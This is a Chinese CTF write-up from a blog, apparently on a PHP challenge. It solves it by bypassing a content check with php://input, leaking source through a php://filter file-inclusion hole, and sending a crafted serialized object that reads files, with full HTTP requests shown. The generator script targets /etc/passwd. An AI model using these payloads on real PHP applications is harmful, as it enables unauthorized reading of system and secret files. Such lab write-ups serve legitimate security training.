首页 > 其他分享 >[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

时间:2023-11-01 23:12:03浏览次数:35  
标签:password ZJCTF image Accept NiZhuanSiWei application 2019 file php

打开题目,得到一段源码,如下。

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

这里对于 $test 变量,要求在 file_get_contents 的内容为 welcome to the zjctf,因此可以设置 $testphp://input,在 POST 区域输入 welcome to the zjctf,如下,就可以绕过第一层 if

POST /?text=php://input&file=...&password=... HTTP/1.1
Host: 724a75c1-3f80-4fa6-a9d8-242a4f526c28.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

welcome to the zjctf

随后,程序可以 file_get_contents 用户指定的文件(除了文件名中包含 flag 字样的文件),题目又提示存在 useless.php,因此查看其的源码,如下。

POST /?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php&password=... HTTP/1.1
Host: 724a75c1-3f80-4fa6-a9d8-242a4f526c28.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

welcome to the zjctf
HTTP/1.1 200 OK
Server: openresty
Date: Wed, 01 Nov 2023 14:56:28 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 410
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.40

<br><h1>welcome to the zjctf</h1></br>PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

将响应包中的 Base64 编码过的源码解码后,得到如下。

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

因此得知,这里可以利用 __tostring 魔术方法,通过在 file_get_contents 中引入 useless.php 文件,最后在反序列化,设置 $file="flag.php",即可绕过检查,并输出 flag

<?php
class Flag{  //flag.php  
    public $file = "/etc/passwd";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}

$password = new Flag();
$password_serialize = serialize($password);

$fp = fopen("serialize.txt","a");
fwrite($fp,$password_serialize);
fclose($fp);

?>

// 得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
POST /?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} HTTP/1.1
Host: 724a75c1-3f80-4fa6-a9d8-242a4f526c28.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

welcome to the zjctf

标签:password,ZJCTF,image,Accept,NiZhuanSiWei,application,2019,file,php
From: https://www.cnblogs.com/imtaieee/p/17804370.html

相关文章

  • 如何在 Windows Server 2019 中启用 Telnet 客户端
    如何在WindowsServer2019中启用 Telnet 客户端这篇文章将介绍如何在Microsoft的WindowsServer2019中安装telnet 客户端。启用Telnet客户端首先,我们需要启用telnet客户端,如果我们不启用它,我们将在尝试使用它时得到类似于以下消息的结果。C:\>telnetgoogle.co......
  • P5659 [CSP-S2019] 树上的数
    相信大家都看过题,但还请搞清楚是数对应结点编号。这里用\(a_i\)表示\(i\)号结点对应的数。对于\(n\leq10\)的数据,全排列出删边的顺序然后模拟,取字典序最小的方案。对于菊花,仍然考虑删边的顺序,假设删边依次是\(rt\tov_1,rt\tov_2,\cdots,rt\tov_{n-1}\)。因为每删一......
  • P5666 [CSP-S2019] 树的重心
    考虑一个结点在什么情况下会成为重心。随便钦定一个根结点。对于结点\(u\),假设割掉了其子树\(v\)中的某条边或连接\(u\)和\(v\)的边,形成了一棵大小为\(k\)的新树。令\(mx\)表示除\(v\)子树外最大的子树大小(或\(n-siz_u\))。如果\(u\)成为了重心根据定义有\(2\ti......
  • P5404 [CTS2019] 重复 题解
    题目链接观察题目,我们发现直接计算是困难的,先构造单个合法的\(T\)分析其性质。为了构造出\(T\),先考虑构造时\(T\)时什么时候会出现不合法的情况,此时\(T\)会有一段和\(S\)相同的前缀,且这段前缀后面跟着的字符比\(S\)所跟的小。为了避免这种情况出现,我们需要在每次添......
  • [极客大挑战 2019]BuyFlag
    打开网页,发现右手边的菜单中有个PAYFLAG,打开后跳转到pay.php中,其中网页源代码有提示,主要内容如下:IfyouwanttobuytheFLAG:YoumustbeastudentfromCUIT!!!Youmustbeanswerthecorrectpassword!!!OnlyCuit'sstudentscanbuytheFLAG ~~~postmoneyand......
  • [RoarCTF 2019]Easy Calc
    题目一打开,是一个计算器。主页源代码如下,这里可以看到有一个calc.php文件,并且提示存在WAF(疑)。<!--I'vesetupWAFtoensuresecurity.--><script>$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($(&q......
  • [极客大挑战 2019]PHP
    打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在www.zip文件,下载后解压打开,发现源码。在index.php中,关键代码如下:<?phpinclude'class.php';$select=$_GET['select'];$res=unserialize......
  • [极客大挑战 2019]PHP
    打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在www.zip文件,下载后解压打开,发现源码。在index.php中,关键代码如下:<?phpinclude'class.php';$select=$_GET['select'];$res=unseria......
  • [安洵杯 2019]吹着贝斯扫二维码
    [安洵杯2019]吹着贝斯扫二维码压缩包里面有个flag.zip文件,但是有密码无法打开并且注释信息里有一串字符GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TERRTGEZTOMRXGQYDGOBWGI2DCNBY经过base32解码和16进制转换后得到另一串,但是显......
  • World Tour Finals 2019 D Distinct Boxes
    洛谷传送门AtCoder传送门神题。设第\(i\)个箱子有\(x_i\)个红球,\(y_i\)个蓝球,那么要求找到最大的\(K\)使得\(\sum\limits_{i=1}^Kx_i\leR,\sum\limits_{i=1}^Ky_i\leB\),且\((x_i,y_i)\)两两不等。显然我们都希望\(x_i,y_i\)尽量小。但是当\(R,B\)......